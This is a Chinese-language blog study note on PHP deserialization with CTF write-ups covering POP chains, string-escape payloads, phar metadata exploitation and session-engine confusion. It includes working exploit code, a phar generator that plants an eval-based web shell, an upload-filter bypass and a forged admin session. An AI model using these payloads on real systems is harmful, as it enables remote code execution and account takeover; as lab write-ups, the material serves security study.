反序列化学习

· 3894 words · 8 minute read

魔术方法

__construct() //当一个对象创建时被调用

__destruct() //当一个对象销毁时被调用

__toString() //当一个对象被当作一个字符串使用

__sleep()//在对象在被序列化之前运行

__wakeup() //将在反序列化之后立即被调用(通过序列化对象元素个数不符来绕过)

__get() //获得一个类的成员变量时调用

__set() //在尝试给对象的不可访问(如私有或未定义)属性赋值时被自动调用

__invoke() //调用函数的方式调用一个对象时的回应方法

__call() //当调用一个对象中的不能用的方法的时候就会执行这个函数

反序列化漏洞条件

  1. 代码中有可利用的类,类中有可用的魔术方法

  2. unserialize()函数的参数可控

POP链构造

[NewStarCTF 公开赛赛道]UnserializeOne 42

题目源码:

<?php
error_reporting(0);
highlight_file(__FILE__);
#Something useful for you : https://zhuanlan.zhihu.com/p/377676274
class Start{
    public $name;
    protected $func;

    public function __destruct()
    {
        echo "Welcome to NewStarCTF, ".$this->name;
    }

    public function __isset($var)
    {
        ($this->func)();
    }
}

class Sec{
    private $obj;
    private $var;

    public function __toString()
    {
        $this->obj->check($this->var);
        return "CTFers";
    }

    public function __invoke()
    {
        echo file_get_contents('/flag');
    }
}

class Easy{
    public $cla;

    public function __call($fun, $var)
    {
        $this->cla = clone $var[0];
    }
}

class eeee{
    public $obj;

    public function __clone()
    {
        if(isset($this->obj->cmd)){
            echo "success";
        }
    }
}

构造pop链:

<?php
class Start{
    public $name;
    public $func;
}

class Sec{
    public $obj;
    public $var;
}

class Easy{
    public $cla;

}

class eeee{
    public $obj;
}

$a = new Start();
$b = new Sec();
$c = new Easy();
$d = new eeee();
$e =new Start();
$f = new Sec();

$a->name=$b;
$b->obj=$c;
$b->var= $d;
$d->obj= $e;
$e->func=$f;

echo serialize($a);
?>

post参数就可以看到flag啦~~

alt text

字符串逃逸

[安洵杯 2019]easy_serialize_php 1

题目源码:

<?php

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}


if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
} 

根据提示传?f=phpinfo可以看到d0g3_f1ag.php

alt text

要想看到该文件,需要分析源码

要求$userinfo[‘img’]这个变量是个文件,才能利用file_get_contents查看,这个变量是serialize_info反序列化来的,serialize_info又是_SESSION序列化在经过filter函数得来的。又因为$userinfo[‘img’]有img这个键值,那么_SESSION这个变量里也要有img这个键值。

先看看需要用到的_SESSION值

$_SESSION["user"] = 'guest';
$_SESSION['function'] = 'a';//对function赋个值
$_SESSION['img'] = 'ZDBnM19mMWFnLnBocA==';//对d0g3_f1ag.php进行编码

序列化后为

“a:3:{s:4:“user”;s:5:“guest”;s:8:“function”;s:1:“a”;s:3:“img”;s:20:“ZDBnM19mMWFnLnBocA==”;}”

利用filter让字符串逃逸使得__SESSION包含img的键值

<?php
$_SESSION["user"] = 'flagflagflagflagflagflag';
$_SESSION['function'] = 'a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}';
$_SESSION['img'] = 'ZDBnM19mMWFnLnBocA==';
function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}
$_SESSION=filter(serialize($_SESSION));
var_dump(serialize($_SESSION));
?>

得到

string(154) "s:145:"a:3:{s:4:"user";s:24:"";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";"

过滤机制使user值变为";s:8:"function";s:59:"a,img替代function成为第二个参数,后面手动添加一个dd成为第三个参数就可以啦,img成功逃逸!

payload:

_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}

查看页面源代码发现/d0g3_fllllllag

alt text

将/d0g3_fllllllag编码后替换原先d0g3_f1ag.php 的码值即可

alt text

成功得到flag:

alt text

phar伪协议触发php反序列化

  1. phar文件格式

phar(PHP Archive)是一种PHP的打包文件格式,它允许将多个PHP文件和其他资源(如图像、样式表等)打包成一个归档文件,类似于Java的jar包。phar文件主要由以下四部分组成:

  • stub:phar文件的标志,通常以<?php __HALT_COMPILER(); ?>结尾,这是识别phar文件的关键。

  • manifest:存储被压缩文件的属性等信息,这些信息以序列化的形式存储,这是漏洞利用的核心。

  • content:被压缩文件的内容。

  • signature(可选):签名,放在文件末尾。

  1. 反序列化漏洞的产生

在PHP中,phar文件的metadata(即manifest部分)以序列化的形式存储。当PHP的文件操作函数(如file_get_contents(), include(), require()等)通过phar://伪协议解析phar文件时,会自动触发对manifest字段的序列化字符串进行反序列化操作。如果这些序列化字符串中包含了恶意构造的对象或数据,就可能导致安全漏洞。

生成phar文件的代码如下:

//实例一个phar对象供后续操作
<?php
    //反序列化payload构造
    class TestObject {
    }
    @unlink("phar.phar");

    //实例一个phar对象供后续操作,后缀名必须为phar
    $phar = new Phar("phar.phar"); 
    //开始缓冲对phar的写操作 
    $phar->startBuffering();
    
    //设置识别phar拓展的标识stub,必须以 __HALT_COMPILER(); ?> 结尾
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); 

    //将反序列化的对象放入该文件中
    $o = new TestObject();
    $o->data='i am bmjoker';
    //将自定义的归档元数据meta-data存入manifest
    $phar->setMetadata($o);

    //phar本质上是个压缩包,所以要添加压缩的文件和文件内容
    $phar->addFromString("test.txt", "bmjoker"); 
    //停止缓冲对phar的写操作
    $phar->stopBuffering();
?>

注意:本地生成一个phar文件,要想使用Phar类里的方法,必须将php.ini文件中的phar.readonly配置项配置为0或Off

PharOne

开启环境发现了文件上传页面

alt text

查看页面源代码发现class.php,于是访问得到以下代码:

<?php
highlight_file(__FILE__);
class Flag {
    public $cmd;
    public function __destruct() {
        @exec($this-cmd);
    }
}
@unlink($_POST['file']);
?>

文件上传考虑phar反序列化,构造以下payload:

<?php
class Flag{
    public $cmd;
}

$a=new Flag();
$a->cmd="echo \"<?=@eval(\\\$_POST['a']);\">/var/www/html/1.php"; //将eval执行的内容写入1.php
$phar = new Phar("test.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();

运行php代码后可以在目录下看到生成的phar文件

alt text

将该phar文件上传发现无回显,修改后缀为jpg后出现正则匹配

alt text

利用gzip命令压缩绕过

alt text

压缩后将生成的test.phar.gz重命名为test.jpg再上传就能得到:

alt text

那么就可以通过phar伪协议post:

alt text

上传成功后访问刚刚的1.php,通过a来写系统命令:

alt text

得到flag:

alt text

SESSION反序列化

  1. session相关组件解释:
  • session_start()

session_start()函数是启动新会话或者重用现有会话的第一步。

  • sess_PHPSESSID

sess_PHPSESSID是Cookie名称的一个常见示例,用于存储Session ID。这个名称可以在php.ini配置文件中通过session.name指令进行自定义。

  • Set-Cookie

Set-Cookie是一个HTTP响应头部,用于向客户端发送Cookie。

  • $_SESSION

$_SESSION是一个超全局变量,存储与Session ID相关联的Session数据,允许php脚本访问和修改这些数据。

  1. 原理

当会话自动开始或者通过 session_start() 手动开始的时候, PHP 内部会依据客户端传来的PHPSESSID来获取现有的对应的会话数据(即session文件), PHP 会自动反序列化session文件的内容,并将之填充到 $_SESSION 超级全局变量中。

如果不存在对应的会话数据,则创建名为sess_PHPSESSID(客户端传来的)的文件。如果客户端未发送PHPSESSID,则创建一个由32个字母组成的PHPSESSID,并返回set-cookie。

而之所以能利用session反序列化,是因为session序列化和反序列化时的引擎不同

  1. PHP Session在php.ini中相关配置项
配置项 作用
session.save_handler 设定用户自定义session存储函数,默认为files
session.save_path 设置session存储路径,默认在/tmp
session.serialize_handler 设定(反)序列化处理器,默认为php
session.auto_start 指定会话模块是否在请求开始时启动一个会话,默认为0不启动
session.upload_progress.enabed 将上传文件的进度信息存储在session中。默认开启
session.upload_progress.cleanup 一旦读取了所有的POST数据,立即清除进度信息。默认开启

alt text

  1. Session 三种序列化方式
存储引擎 存储方式
php_binary 键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize() 函数序列化处理的值
php 键名 + 竖线 + 经过 serialize() 函数序列处理的值
php_serialize (PHP>5.5.4) 经过 serialize() 函数序列化处理的数组

[HFCTF2020]BabyUpload1

题目源码:

<?php
error_reporting(0);
session_save_path("/var/babyctf/");
session_start();
require_once "/flag";
highlight_file(__FILE__);
if($_SESSION['username'] ==='admin')
{
    $filename='/var/babyctf/success.txt';
    if(file_exists($filename)){
            safe_delete($filename);
            die($flag);
    }
}
else{
    $_SESSION['username'] ='guest';
}
$direction = filter_input(INPUT_POST, 'direction');
$attr = filter_input(INPUT_POST, 'attr');
$dir_path = "/var/babyctf/".$attr;
if($attr==="private"){
    $dir_path .= "/".$_SESSION['username'];
}
if($direction === "upload"){
    try{
        if(!is_uploaded_file($_FILES['up_file']['tmp_name'])){
            throw new RuntimeException('invalid upload');
        }
        $file_path = $dir_path."/".$_FILES['up_file']['name'];
        $file_path .= "_".hash_file("sha256",$_FILES['up_file']['tmp_name']);
        if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
            throw new RuntimeException('invalid file path');
        }
        @mkdir($dir_path, 0700, TRUE);
        if(move_uploaded_file($_FILES['up_file']['tmp_name'],$file_path)){
            $upload_result = "uploaded";
        }else{
            throw new RuntimeException('error while saving');
        }
    } catch (RuntimeException $e) {
        $upload_result = $e->getMessage();
    }
} elseif ($direction === "download") {
    try{
        $filename = basename(filter_input(INPUT_POST, 'filename'));
        $file_path = $dir_path."/".$filename;
        if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
            throw new RuntimeException('invalid file path');
        }
        if(!file_exists($file_path)) {
            throw new RuntimeException('file not exist');
        }
        header('Content-Type: application/force-download');
        header('Content-Length: '.filesize($file_path));
        header('Content-Disposition: attachment; filename="'.substr($filename, 0, -65).'"');
        if(readfile($file_path)){
            $download_result = "downloaded";
        }else{
            throw new RuntimeException('error while saving');
        }
    } catch (RuntimeException $e) {
        $download_result = $e->getMessage();
    }
    exit;
}
?>

进行代码审计

if($_SESSION['username'] ==='admin')
{
    $filename='/var/babyctf/success.txt';
    if(file_exists($filename)){
            safe_delete($filename);
            die($flag);
    }
}

由以上代码可以知道获得flag条件:

  1. username === ‘admin’

  2. 存在success.txt文件

再来看upload和download两个功能:

if($direction === "upload"){
    try{
        if(!is_uploaded_file($_FILES['up_file']['tmp_name'])){
            throw new RuntimeException('invalid upload');
        }
        $file_path = $dir_path."/".$_FILES['up_file']['name'];
        $file_path .= "_".hash_file("sha256",$_FILES['up_file']['tmp_name']);
        if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
            throw new RuntimeException('invalid file path');
        }
        @mkdir($dir_path, 0700, TRUE);
        if(move_uploaded_file($_FILES['up_file']['tmp_name'],$file_path)){
            $upload_result = "uploaded";
        }else{
            throw new RuntimeException('error while saving');
        }
    } catch (RuntimeException $e) {
        $upload_result = $e->getMessage();
    }

upload可以上传文件到/var/babyctf/目录下,上传后的文件名在末尾加上了哈希值,同时也有一些过滤,不过没啥影响。

elseif ($direction === "download") {
    try{
        $filename = basename(filter_input(INPUT_POST, 'filename'));
        $file_path = $dir_path."/".$filename;
        if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
            throw new RuntimeException('invalid file path');
        }
        if(!file_exists($file_path)) {
            throw new RuntimeException('file not exist');
        }
        header('Content-Type: application/force-download');
        header('Content-Length: '.filesize($file_path));
        header('Content-Disposition: attachment; filename="'.substr($filename, 0, -65).'"');
        if(readfile($file_path)){
            $download_result = "downloaded";
        }else{
            throw new RuntimeException('error while saving');
        }
    } catch (RuntimeException $e) {
        $download_result = $e->getMessage();
    }
    exit;
}

download可以读取var/babyctf/目录下任意文件filename

wp:

首先先传direction=download,F12得到session值

alt text

session文件命名方式为sess_PHPSESSID,此时可以传filename查看session文件

alt text

反序列化内容既没有|也没有{},判断是采用php_binary的存储方式,修改php.ini让本地php环境支持php_binary,记得重启Apache

alt text

然后本地编写脚本上传admin信息

<?php
session_start();
if(isset($_GET['name'])){
	$_SESSION['username']=$_GET['name'];
}
?>

运行代码传?name=admin后在tmp目录可以看到生成了对应session文件

alt text

修改文件名为sess并计算该文件的哈希值:

alt text

432b8b09e30c4a75986b719d1312b63a69f1b833ab602c9ad5f0299d1d76a5a4

编写上传代码上传admin的sess文件:

<form action="http://0beb395b-65d0-4163-90d0-7ddeb1ecb427.node4.buuoj.cn:81/" method="post" enctype="multipart/form-data">
  file: <input type="file" name="up_file"/><br> 
  <input type="submit" value="Send"/>
  <input type="text" name="direction" value="upload"/><br>
  <input type="text" name="attr" value=""/><br>
</form>

上传成功后只需要改cookie值为admin登陆时的cookie:

alt text

最后传参时加上attr=succcess.txt就可以拿到flag啦~~

alt text

comments powered by Disqus